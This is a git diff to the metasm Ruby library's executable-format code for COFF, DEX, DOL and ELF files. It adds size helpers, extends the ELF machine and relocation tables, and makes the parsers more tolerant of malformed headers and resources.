xwords :start_va, :end_va, :index_addr, :callback_p - words :zerofill_sz, :characteristics + words :zerofill_sz, :characteristics attr_accessor :callbacks end @@ -413,6 +413,11 @@ class COFF < ExeFormat end def shortname; 'coff'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end end # the COFF archive file format @@ -448,6 +453,9 @@ class COFFArchive < ExeFormat def member(name) @members.find { |m| m.name == name } end + + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end end end diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb index 5a718a13fe..e46528a119 100644 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ b/lib/metasm/metasm/exe_format/coff_decode.rb @@ -17,13 +17,15 @@ class COFF # decodes a COFF optional header from coff.cursection # also decodes directories in coff.directory def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 + return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE') + off = coff.curencoded.ptr super(coff) + nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8 + nrva = @numrva if nrva < 0 - nrva = @numrva - if @numrva > DIRECTORIES.length - puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length + if nrva > DIRECTORIES.length or nrva != @numrva + puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE + nrva = DIRECTORIES.length if nrva > DIRECTORIES.length end coff.directory = {} @@ -171,17 +173,17 @@ class COFF end class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr) + def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3) super(coff, edata) @entries = [] nrnames = @nr_names if $DEBUG (@nr_names+@nr_id).times { - e = Entry.new + e = Entry.new - e_id = coff.decode_word(edata) - e_ptr = coff.decode_word(edata) + e_id = coff.decode_word(edata) + e_ptr = coff.decode_word(edata) if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE @@ -213,10 +215,12 @@ class COFF e.subdir_p = e_ptr & 0x7fff_ffff if startptr + e.subdir_p >= edata.length puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - else + elsif maxdepth > 0 edata.ptr = startptr + e.subdir_p e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr + e.subdir.decode coff, edata, startptr, maxdepth-1 + else + puts 'W: COFF: recursive resource section' if $VERBOSE end else e.dataentry_p = e_ptr @@ -244,7 +248,8 @@ class COFF decode_tllv = lambda { |ed, state| sptr = ed.ptr - len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed) + len, vlen = coff.decode_half(ed), coff.decode_half(ed) + coff.decode_half(ed) # type tagname = '' while c = coff.decode_half(ed) and c != 0 tagname << (c&255) @@ -273,7 +278,7 @@ class COFF when :str val = ed.read(vlen*2).unpack('v*') val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } + val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } vers[tagname] = val when :var val = ed.read(vlen).unpack('V*') @@ -426,8 +431,7 @@ class COFF def sect_at_rva(rva) return if not rva or rva <= 0 if sections and not @sections.empty? - valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) } - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva } + if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva } s.encoded.ptr = rva - s.virtaddr @cursection = s elsif rva < @sections.map { |s_| s_.virtaddr }.min @@ -479,7 +483,7 @@ class COFF end def each_section - if @header.size_opthdr == 0 + if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE') @sections.each { |s| next if not s.encoded l = new_label(s.name) @@ -490,7 +494,9 @@ class COFF end base = @optheader.image_base base = 0 if not base.kind_of? Integer - yield @encoded[0, @optheader.headers_size], base + sz = @optheader.headers_size + sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty? + yield @encoded[0, sz], base @sections.each { |s| yield s.encoded, base + s.virtaddr } end @@ -566,8 +572,10 @@ class COFF # decodes a section content (allows simpler LoadedPE override) def decode_section_body(s) raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = EncodedData.align_size(s.virtsize, @optheader.sect_align) + virt = s.virtsize virt = raw = s.rawsize if @header.size_opthdr == 0 + virt = raw if virt == 0 + virt = EncodedData.align_size(virt, @optheader.sect_align) s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new s.encoded.virtsize = virt end @@ -634,8 +642,13 @@ class COFF if ct = @directory['certificate_table'] @certificates = [] @cursection = self + if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0] + puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE + ct = [ct[0], 1] + end @encoded.ptr = ct[0] off_end = ct[0]+ct[1] + off_end = @encoded.length if off_end > @encoded.length while @encoded.ptr < off_end certlen = decode_word certrev = decode_half @@ -704,6 +717,25 @@ class COFF end end + def decode_reloc_amd64(r) + case r.type + when 'ABSOLUTE' + when 'HIGHLOW' + addr = decode_word + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'DIR64' + addr = decode_xword + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u64, @endianness) + end + else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE + end + end + def decode_debug if dd = @directory['debug'] and sect_at_rva(dd[0]) @debug = [] @@ -719,11 +751,11 @@ class COFF def decode_tls if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) + if s = sect_at_va(@tls.callback_p) s.encoded.add_export 'tls_callback_table' @tls.callbacks.each_with_index { |cb, i| @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } + } end end end @@ -815,6 +847,7 @@ class COFFArchive ar.encoded.ptr += 1 if @size & 1 == 1 end + # TODO XXX are those actually used ? def decode_half ; @encoded.decode_imm(:u16, :big) end def decode_word ; @encoded.decode_imm(:u32, :big) end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb index d317884beb..2f449f9e6d 100644 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ b/lib/metasm/metasm/exe_format/coff_encode.rb @@ -139,7 +139,7 @@ class COFF end class ImportDirectory - # encodes all import directories + iat + # encode all import directories + iat def self.encode(coff, ary) edata = { 'iat' => [] } %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } @@ -160,12 +160,11 @@ class COFF [it, iat] end - # encodes an import directory + iat + names in the edata hash received as arg + # encode one import directory + iat + names in the edata hash received as arg def encode(coff, edata) edata['iat'] << EncodedData.new # edata['ilt'] = edata['iat'] label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } @libname_p = rva_end['nametable'] @@ -396,7 +395,8 @@ class COFF s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] encode_append_section s - if @imports.first and @imports.first.iat_p.kind_of? Integer + if @imports.first and @imports.first.iat_p.kind_of?(Integer) + # ordiat = iat.sort_by { @import[x].iat_p } ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } else ordiat = iat @@ -413,7 +413,7 @@ class COFF plt.characteristics = %w[MEM_READ MEM_EXECUTE] @imports.zip(iat) { |id, it| - if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } + if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } id.iat = it # will be fixed up after encode_section else # XXX should not be mixed (for @directory['iat'][1]) @@ -529,9 +529,7 @@ class COFF end # initialize reloc table base address if needed - if not rt.base_addr - rt.base_addr = off & ~0xfff - end + rt.base_addr ||= off & ~0xfff (rt.relocs ||= []) << r elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) @@ -559,7 +557,7 @@ class COFF end # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target = 'exe', want_relocs=true) + def pre_encode_header(target='exe', want_relocs=true) target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) @header.machine ||= case @cpu.shortname @@ -650,11 +648,11 @@ class COFF # append the section bodies to @encoded, and link the resulting binary def encode_sections_fixup - @encoded.align @optheader.file_align if @optheader.headers_size.kind_of?(::String) @encoded.fixup! @optheader.headers_size => @encoded.virtsize @optheader.headers_size = @encoded.virtsize end + @encoded.align @optheader.file_align baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 binding = @encoded.binding(baseaddr) @@ -689,7 +687,7 @@ class COFF # patch the iat where iat_p was defined # sort to ensure a 0-terminated will not overwrite an entry # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id| + @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id| s = sect_at_rva(id.iat_p) @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat binding.update id.iat.binding(baseaddr + id.iat_p) @@ -710,7 +708,7 @@ class COFF # creates the base relocation tables (need for references to IAT not known before) # defaults to generating relocatable files, eg ALSR-aware # pass want_relocs=false to avoid the file overhead induced by this - def encode(target = 'exe', want_relocs = true) + def encode(target='exe', want_relocs=true) @encoded = EncodedData.new label_at(@encoded, 0, 'coff_start') pre_encode_header(target, want_relocs) @@ -832,7 +830,7 @@ class COFF @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) if not @optheader.image_base - @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 + @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE end s.virtaddr -= @optheader.image_base @@ -1048,7 +1046,7 @@ class COFF end if not dll = autoexports[sym] sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) - next if not dll = autoexports[sym] + next if not dll = autoexports[sym] end @imports ||= [] diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb index c385dccd61..6b9c5f0538 100644 --- a/lib/metasm/metasm/exe_format/dex.rb +++ b/lib/metasm/metasm/exe_format/dex.rb @@ -43,6 +43,7 @@ class DEX < ExeFormat class SerialStruct < Metasm::SerialStruct + # TODO move uleb/sleb to new_field for sizeof new_int_field :u2, :u4, :uleb, :sleb end @@ -135,7 +136,7 @@ class DEX < ExeFormat class MethodId < SerialStruct u2 :classidx - u2 :typeidx + u2 :protoidx u4 :nameidx end @@ -182,7 +183,7 @@ class DEX < ExeFormat uleb :fieldid_diff # this field id - array.previous field id uleb :access - attr_accessor :field + attr_accessor :fieldid, :field end class EncodedMethod < SerialStruct @@ -190,7 +191,7 @@ class DEX < ExeFormat uleb :access uleb :codeoff # offset to CodeItem - attr_accessor :method, :code, :name + attr_accessor :methodid, :method, :code, :name end class TypeItem < SerialStruct @@ -256,7 +257,7 @@ class DEX < ExeFormat uleb :typeidx uleb :handleroff end - + class Link < SerialStruct # undefined end @@ -328,6 +329,8 @@ class DEX < ExeFormat def encode_u4(val) Expression[val].encode(:u32, @endianness) end def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end def decode_uleb(ed = @encoded, signed=false) v = s = 0 while s < 5*7 @@ -390,6 +393,7 @@ class DEX < ExeFormat (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| next id=0 if m == 0 id += m.methodid_diff + m.methodid = id m.method = @methods[id] m.name = @strings[m.method.nameidx] @encoded.ptr = m.codeoff @@ -441,7 +445,11 @@ class DEX < ExeFormat end def get_default_entrypoints - [] + @classes.find_all { |c| c.data }.map { |c| + (c.data.direct_methods + c.data.virtual_methods).map { |m| + m.codeoff+m.code.insns_off + } + }.flatten end end diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb index c78df35df2..b061375914 100644 --- a/lib/metasm/metasm/exe_format/dol.rb +++ b/lib/metasm/metasm/exe_format/dol.rb @@ -26,6 +26,7 @@ class Dol < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = :big diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb index ef518b8c28..b9f3e33542 100644 --- a/lib/metasm/metasm/exe_format/elf.rb +++ b/lib/metasm/metasm/exe_format/elf.rb @@ -21,29 +21,52 @@ class ELF < ExeFormat TYPE_HIPROC = 0xffff MACHINE = { - 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', - 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', - 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', - 15 => 'PARISC', - 17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960', - 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', - 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', - 40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9', - 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', - 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', + 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', + 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', + 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', + 15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960', + 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU', + 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', + 40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9', + 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', + 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', - 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', - 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', - 66 => 'FX66', 67 => 'ST9PLUS', - 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', - 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', - 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', - 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', - 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', - 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', - 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', - 99 => 'PJ', - 0x9026 => 'ALPHA' + 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', + 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', + 64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS', + 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', + 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', + 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', + 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', + 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', + 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', + 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE', + 96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K', + 100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR', + 104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33', + 108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS', + 112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE', + 116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE', + 120 => 'M32C', + 131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC', + 134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3', + 138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000', + 142 => 'TI_C5500', + 160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA', + 164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32', + 168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK', + 172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS', + 176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X', + 180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64', + 184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64', + 188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX', + 192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2', + 196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR', + 200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE', + 204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207', + 208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32', + 212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP', + 216 => 'COGE', 217 => 'COOL', 218 => 'NORC', } FLAGS = { @@ -52,8 +75,9 @@ class ELF < ExeFormat 0x8000_0000 => 'LEDATA'}, 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', - 8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2', - 64 => 'ABI_ON32'} + 8 => 'XGOT', 0x10 => '64BIT_WHIRL', 0x20 => 'ABI2', + 0x40 => 'ABI_ON32', 0x80 => 'OPTIONSFIRST', + 0x100 => '32BITMODE'} } DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => @@ -300,6 +324,37 @@ class ELF < ExeFormat 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', 116 => 'EMB_RELSDA' }, + 'SH' => { 0 => 'NONE', 1 => 'DIR32', 2 => 'REL32', 3 => 'DIR8WPN', + 4 => 'IND12W', 5 => 'DIR8WPL', 6 => 'DIR8WPZ', 7 => 'DIR8BP', + 8 => 'DIR8W', 9 => 'DIR8L', 10 => 'LOOP_START', 11 => 'LOOP_END', + 22 => 'GNU_VTINHERIT', 23 => 'GNU_VTENTRY', 24 => 'SWITCH8', + 25 => 'SWITCH16', 26 => 'SWITCH32', 27 => 'USES', 28 => 'COUNT', + 29 => 'ALIGN', 30 => 'CODE', 31 => 'DATA', 32 => 'LABEL', + 33 => 'DIR16', 34 => 'DIR8', 35 => 'DIR8UL', 36 => 'DIR8UW', + 37 => 'DIR8U', 38 => 'DIR8SW', 39 => 'DIR8S', 40 => 'DIR4UL', + 41 => 'DIR4UW', 42 => 'DIR4U', 43 => 'PSHA', 44 => 'PSHL', + 45 => 'DIR5U', 46 => 'DIR6U', 47 => 'DIR6S', 48 => 'DIR10S', + 49 => 'DIR10SW', 50 => 'DIR10SL', 51 => 'DIR10SQ', 53 => 'DIR16S', + 144 => 'TLS_GD_32', 145 => 'TLS_LD_32', 146 => 'TLS_LDO_32', + 147 => 'TLS_IE_32', 148 => 'TLS_LE_32', 149 => 'TLS_DTPMOD32', + 150 => 'TLS_DTPOFF32', 151 => 'TLS_TPOFF32', 160 => 'GOT32', + 161 => 'PLT32', 162 => 'COPY', 163 => 'GLOB_DAT', + 164 => 'JMP_SLOT', 165 => 'RELATIVE', 166 => 'GOTOFF', + 167 => 'GOTPC', 168 => 'GOTPLT32', 169 => 'GOT_LOW16', + 170 => 'GOT_MEDLOW16', 171 => 'GOT_MEDHI16', 172 => 'GOT_HI16', + 173 => 'GOTPLT_LOW16', 174 => 'GOTPLT_MEDLOW16', 175 => 'GOTPLT_MEDHI16', + 176 => 'GOTPLT_HI16', 177 => 'PLT_LOW16', 178 => 'PLT_MEDLOW16', + 179 => 'PLT_MEDHI16', 180 => 'PLT_HI16', 181 => 'GOTOFF_LOW16', + 182 => 'GOTOFF_MEDLOW16', 183 => 'GOTOFF_MEDHI16', 184 => 'GOTOFF_HI16', + 185 => 'GOTPC_LOW16', 186 => 'GOTPC_MEDLOW16', 187 => 'GOTPC_MEDHI16', + 188 => 'GOTPC_HI16', 189 => 'GOT10BY4', 190 => 'GOTPLT10BY4', + 191 => 'GOT10BY8', 192 => 'GOTPLT10BY8', 193 => 'COPY64', + 194 => 'GLOB_DAT64', 195 => 'JMP_SLOT64', 196 => 'RELATIVE64', + 242 => 'SHMEDIA_CODE', 243 => 'PT_16', 244 => 'IMMS16', + 245 => 'IMMU16', 246 => 'IMM_LOW16', 247 => 'IMM_LOW16_PCREL', + 248 => 'IMM_MEDLOW16', 249 => 'IMM_MEDLOW16_PCREL', 250 => 'IMM_MEDHI16', + 251 => 'IMM_MEDHI16_PCREL', 252 => 'IMM_HI16', 253 => 'IMM_HI16_PCREL', + 254 => '64', 255 => '64_PCREL' }, 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', @@ -362,11 +417,6 @@ class ELF < ExeFormat word :flags fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx - - def self.size elf - x = elf.bitsize >> 3 - 40 + 3*x - end end class Segment < SerialStruct @@ -380,11 +430,6 @@ class ELF < ExeFormat else Segment64 end end - - def self.size elf - x = elf.bitsize >> 3 - 8 + 6*x - end end class Segment32 < Segment @@ -421,11 +466,6 @@ class ELF < ExeFormat xword :entsize attr_accessor :name, :encoded - - def self.size elf - x = elf.bitsize >> 3 - 16 + 6*x - end end class Symbol < SerialStruct @@ -439,11 +479,6 @@ class ELF < ExeFormat attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx attr_accessor :name, :thunk - - def self.size elf - x = elf.bitsize >> 3 - 8 + 2*x - end end class Symbol32 < Symbol @@ -478,12 +513,6 @@ class ELF < ExeFormat end def addend ; end - - def self.size elf - x = elf.bitsize >> 3 - 2*x - end - end class Relocation32 < Relocation addr :offset @@ -506,11 +535,6 @@ class ELF < ExeFormat else RelocationAddend64 end end - def self.size elf - x = elf.bitsize >> 3 - 3*x - end - end class RelocationAddend32 < RelocationAddend addr :offset @@ -637,6 +661,15 @@ class ELF < ExeFormat end def shortname; 'elf'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_sword ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end + alias sizeof_sxword sizeof_xword + alias sizeof_addr sizeof_xword + alias sizeof_off sizeof_xword end class LoadedELF < ELF @@ -689,6 +722,9 @@ class FatELF < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_word ; 2 ; end + def sizeof_qword ; 8 ; end attr_accessor :header, :list def initialize @@ -716,7 +752,7 @@ class FatELF < ExeFormat f.encoded = e.encode_string h = e.header f.machine, f.abi, f.abi_version, f.e_class, f.data = - h.machine, h.abi, h.abi_version, h.e_class, h.data + h.machine, h.abi, h.abi_version, h.e_class, h.data end f.offset = new_label('fat_off') f.size = f.encoded.size @@ -812,7 +848,7 @@ typedef struct { /* Verneed Auxiliary Structure. */ Elf32_Word vna_next; /* no. of bytes from start of this */ } Elf32_Vernaux; /* vernaux to next vernaux entry */ -typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ +typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ typedef struct { Elf32_Half si_boundto; /* direct bindings - symbol bound to */ diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb index 0c540902c4..8f81c90f9e 100644 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ b/lib/metasm/metasm/exe_format/elf_decode.rb @@ -18,19 +18,19 @@ class ELF case hdr.e_class when '32'; elf.bitsize = 32 when '64', '64_icc'; elf.bitsize = 64 - else raise InvalidExeFormat, "E: ELF: unsupported class #{hdr.e_class}" + else puts "W: ELF: unsupported class #{hdr.e_class}, assuming 32bit"; elf.bitsize = 32 end case hdr.data when 'LSB'; elf.endianness = :little when 'MSB'; elf.endianness = :big - else raise InvalidExeFormat, "E: ELF: unsupported endianness #{hdr.data}" + else puts "W: ELF: unsupported endianness #{hdr.data}, assuming littleendian"; elf.endianness = :little end if hdr.i_version != 'CURRENT' - raise InvalidExeFormat, "E: ELF: unsupported ELF version #{hdr.i_version}" + puts ":: ELF: unsupported ELF version #{hdr.i_version}" end - } + } end class Symbol @@ -66,7 +66,7 @@ class ELF # handles relocated LoadedELF def addr_to_fileoff(addr) la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) addr_to_off(addr - la) end @@ -75,7 +75,7 @@ class ELF def fileoff_to_addr(foff) if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) s.vaddr + la + foff - s.offset end end @@ -106,7 +106,7 @@ class ELF def decode_header(off = 0, decode_phdr=true, decode_shdr=true) @encoded.ptr = off @header.decode self - raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize + raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize if decode_phdr and @header.phoff != 0 decode_program_header(@header.phoff+off) end @@ -118,7 +118,7 @@ class ELF # decodes the section header # section names are read from shstrndx if possible def decode_section_header(off = @header.shoff) - raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize + raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize @encoded.add_export new_label('section_header'), off @encoded.ptr = off @sections = [] @@ -137,7 +137,7 @@ class ELF # decodes the program header table # marks the elf entrypoint as an export of +self.encoded+ def decode_program_header(off = @header.phoff) - raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize + raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize @encoded.add_export new_label('program_header'), off @encoded.ptr = off @segments = [] @@ -224,7 +224,40 @@ class ELF # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - return hsymcount+symndx if just_get_count + # we're going to decode the symbol table, and we just want to get the nr of symbols to read + if just_get_count + # index of highest hashed (exported) symbols + ns = hsymcount+symndx + + # no way to get the number of non-exported symbols from what we have here + # so we'll decode all relocs and use the largest index we see.. + rels = [] + if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == 